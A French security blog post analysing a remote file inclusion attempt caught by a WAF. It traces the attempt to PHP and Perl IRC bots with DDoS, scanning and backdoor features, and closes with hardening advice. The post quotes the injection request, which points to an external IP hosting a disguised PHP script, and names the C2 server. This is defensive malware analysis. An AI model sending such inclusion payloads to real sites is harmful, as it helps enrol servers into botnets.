Le méchant de la semaine est un Con.

Allez prenons du temps pour analyser une attaque web. Elle est disons…  Originale… Çà change un peu. Vous verrez c’est rigolo en plus.

Cette semaine dans les logs de notre fidèle waf au travail, on a trouvé une poignée de requêtes du genre :

http://monsite.acme.com/lapage?id=123Dorkhttp://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg

A première vue, cela n’a aucun sens. Je veux bien que quelqu’un tente une inclusion quelconque mais que vient foutre ce “Dork” en plein milieu. J’ai donc été downloader cette petite image étonnante. On tombe en fait sur un script php en lieu et place du Jpeg. Cette page n’est absolument pas offusqué (merci … parce que c’est chiant sinon). Allons y désossons cet exploit.

Partie 1 , Le Loader/Client IRC

Si par magie l’exécution se réalise voila ce qui se passe. La première partie du script est on ne peut plus explicite… Il tente désespérément de downloader un autre script nommé scan.txt et de l’exécuter avec Perl:

Il essaye ensuite la même chose dans le répertoire /tmp puis dans /var/tmp.

[MODE PROMO ON] J’ai déposé ce script chez http://malware.luLe Numéro UN du stockage de malware ouvert au petits et au grands Bref il est disponible sous le hash sha1 cdbc7e6d811874a7df10d6fdbec145a82f9ed1c9 [MODE PROMO OFF].

Enfin vient la partie rigolote..  Après une sobre bannière toute en humilitée.

On tombe sur un client IRC en php se connectant sur le serveur 217.26.172.200. Un bon vieux serveur Moldave (Voir http://bgp.he.net/ip/217.26.172.200#_whois),

Celui-ci se connecte sur channel “vics” (voir le paramètre chan en base64 ligne 8)… “vics” pour victimes n’en doutons pas..

J’essaye de me connecter a l’irc port 8585 et je me prend un reset. Cela sent l’ACL car ce poste semble poncé de chez poncé, des autres ports font timeout en plus c’est la foire du trône, tout est ouvert quasiment.

Revenons donc au programme. C’est la fête, ce petit client irc en php dispose de fonctions qui sentent bon le collégien. Rien que le nom des fonctions prévues dans le client IRC émerveillent.

En plus des fonctions pour faire fonctionner l’IRC on retrouve des fonctions “à la Anonymous”, du tcp ou de l’udp flooding, de l’url bombing (Un DDoS Http qui ne précise pas de user-agent) et un scanner de port. Bref si on a le malheur d’avoir un remote execution, on se retrouve déjà en plein milieu d’un Botnet.

Mais il reste encore quelques mystères. Quel est cet étrange fichier texte qu’il tente de télécharger et de lancer avec perl au début du script. Cela semble lui tenir à coeur. Car en plus, de toutes facons le client IRC dispose de la même fonction “ex()” que l’on peut appeler avec la commande irc “perl” elle aussi tente de lancer un script perl de son choix. Pourquoi donc s’acharne t’il alors qu’il pourrait le faire par après ?

Alors allons y voyons voir ce fichier scan.txt.

Partie 2 , Le Script Perl, Second client IRC

J’ai donc aussi téléchargé ce fichier on peut le trouver chez malware.lu [MODE PROMO ON] Malware.lu le Rungis du malware.. il est frais mon malware, il est frais, arrivage à toutes heures [MODE PROMO OFF] sous le Sha 000f658b5abcf828d6a55ff475c11c40fee36417

Lui aussi c’est une belle bête, 3300 Lignes de perl, 140K de code. Si on en croit la bannière, la fonction de ce truc est annoncée clairement; c’est un Bot scanneur.

Et on commence désormais à comprendre ou on a mis les pieds. Une poignée de variables définissent les exécutables utilisés par ce pack.

On vient de télécharger «botshell2» en fait, et notre premier php était «botshell». je download tout de suite «aka.jpg» et «thumb.php» alias injector et thumbshell… On s’en occupera plus tard. Allez juste un rapide coup d’oeuil, «Aka.jpg» (Malware.lu Sha1: 9ad4d81bd0d4d8f51031837f75902257f1d8ca1f ) se révèle être un script php. «Thumb.php» est plus rigolo.. (Malware.lu Sha1: 4a0fbff2ef963fe2f9a4dcd79b0ce0c0529c53c2). Enfin un peu d’obfuscation du php caché dans un gif, le tout obfusqué dans un base64(gzip).. un classique de l’obfuscation php. Haaa enfin du chiant !!

Mais ne dérivons pas !!! Restons concentrés sur le “script.txt”. On se gardera les autres pour plus tard. Analysons notre scanner de bot en perl. C’est un peu plus élaboré. Le process Hook les signaux destinés à l’abattre, se redownloade encore une poignée de fois, Fork en spoofant le nom du process, ce qui lui évitera d’éveiller les soupçons en cas de «ps aux».

Et ensuite ça commence, ce script est lui aussi un client IRC. C’est depuis IRC qu’ils prend les commandes d’un administrateur qui doit être nommé LND-Bloodman.

J’ai pas pu résister non plus, j’ai été sur l’irc… en une heure ne sont passés que 3 users, 2 admins et seul un gus était poncé, grosse déception… J’ai l’impression d’avoir raté la bataille.

Mais voyons voir ce que peut faire monsieur BloodMan… Là aussi le client IRC fournis pléthore de commandes extrêmement variée, je suis persuadé qu’il doit avoir fournir documentation parce qu’il y a une cinquantaine de commandes disponibles.voici un petit grep pour se rendre compte. En fait certaines commandes sont exécutables uniquement par Bloodman (!out, !reset.. Etc.. Et carrément des commandes systèmes) Mais d’autres commandes sont générale et exécutable par tous les membres du channel IRC.

Ce client IRC perl là est plus avancé que le précédent en php dont l’orientation était clairement “DDoS”. En fait chaque Client IRC, simplifions et appellons cela un Bot. Chaque Bot donc peut servir de scanner de vulnérabilités sur d’autres sites. le Bot est capable de trouver et de scanner des failles de type LFI, WordPress, e107, ZeroBoard …etc ou d’ailileur tout autre failles en utilisant l’aide d’un moteur de recherche (Google, Yahoo etc…)  et il faut avouer que le script est plutôt complet en moteurs de recherches, le bigniou gère une cinquantaine de moteurs.

Et la tout de suite on commence à comprendre ce qui a du arriver. Le Hit qui a affolé notre WAF est probablement un scan grotesque émis via un de ces Bots par un Botmaster découvrant le fonctionnement du biniou. Lançons le, mais avant de le lancer, J’ai vérifié, je n’ai pas trouvé de backdoor dans la backdoor.. Car oui généralement au fin fond du code, il y a toujours une seconde backdoor..ici je n’ai trouver qu’un truc très drôle et étonnant.

Grand malheur à toi Lamer si ton nom contient un “e” ou que ton email contient “tk”. N’ayant rien trouvé de festif, j’ai donc lancé le bignou localement dans une sandbox pour enfin comprendre ce qu’il s’est passé.

Et voila l’aide en ligne dit d’utiliser “COMMANDE” “BUG” “DORK” … Et oui on y est .. le Botmaster a probablement tapé “COMMANDE Bug Dork”…  Et du coup le bot à scanné comme un blaireau avec le paramètre Dork. D’ou le Dork en plein dans dans mon path. J’aime à penser que c’est un gars qui est tombé sur le channel par hasard et qui a tapé ceci, car c’est pas possible que ce soit une connerie du botmaster… rappelez vous la banière dit : “We are Legendz” ;)…

Maintenant petite anomalie, on m’a scanné pour bonze.jpg. Si on lit le code c’est la fonction “rfi()” qui m’a scanné. C’est le seul endroit qui appelle le bonze.

Et là on en est sur maintenant le Botmaster sortait de biture, parce qu’il a en plus confondu le paramètre Dork et Bug ;). C’est le paramètre $bug qui est concaténé au test de backdoor. De plus c’est une autre version du script perl qui tourne, car chez moi, pour une raison que j’ignore l’appel à la fonction pour découvrir les rfi est commentée.

Voila le mystère est éclaircis !!!

Résumé

Si le rfi (Remote file inclusion) fonctionnait, que le serveur avait accès à l’extérieur et surtout que l’attaquant ne découvrait pas le produit, je me serait retrouvé membre de deux botnet.

Le premier pilotable par IRC en php

  • Fonctions DDos en tous genres.
  • Fonction de scanner réseau.
  • Backdoor.

Le second pilotable par IRC en Perl

  • Fonction de scan de vulnérablitiée de tous poils.
  • Fonctions exotiques; Bruteforce SQL, reverse MD5 etc…
  • Backdoor.

Epilogue

On vient de le voir, il est important de bien tenir ses systèmes à jours, surtout les systèmes dit “WinWin” du type WordPress, e107 ou tout autre CMS. Dès qu’une faille est disponible les scanneurs sont déja en chemin. Une autre chose simple. Ne laissez pas sortir vos serveurs à tous vents, un serveur ne doit pas avoir le droit de sortir sur Internet de son propre chef. Cette règle doit être valable même pour le serveur de l’association de bridge du coin. Configurez le firewall !! Dans le cas contraire, la punition est claire, on risque de se voir rapidement embrigadé dans une poignée de Botnet équipés de scanneur bugophages.

Bon Je me garde le dessossage des deux autre scripts pour plus tard. Tentons tous de même de contacter ces pauvres petites victimes, une pierre dans l’eau n’en doutons pas.

This entry was posted in Hacking, WebSecurity and tagged , , . Bookmark the permalink.

One Response to Le méchant de la semaine est un Con.

  1. Cr@zy says:

    Bon décorticage Thanatos :)

Leave a Reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code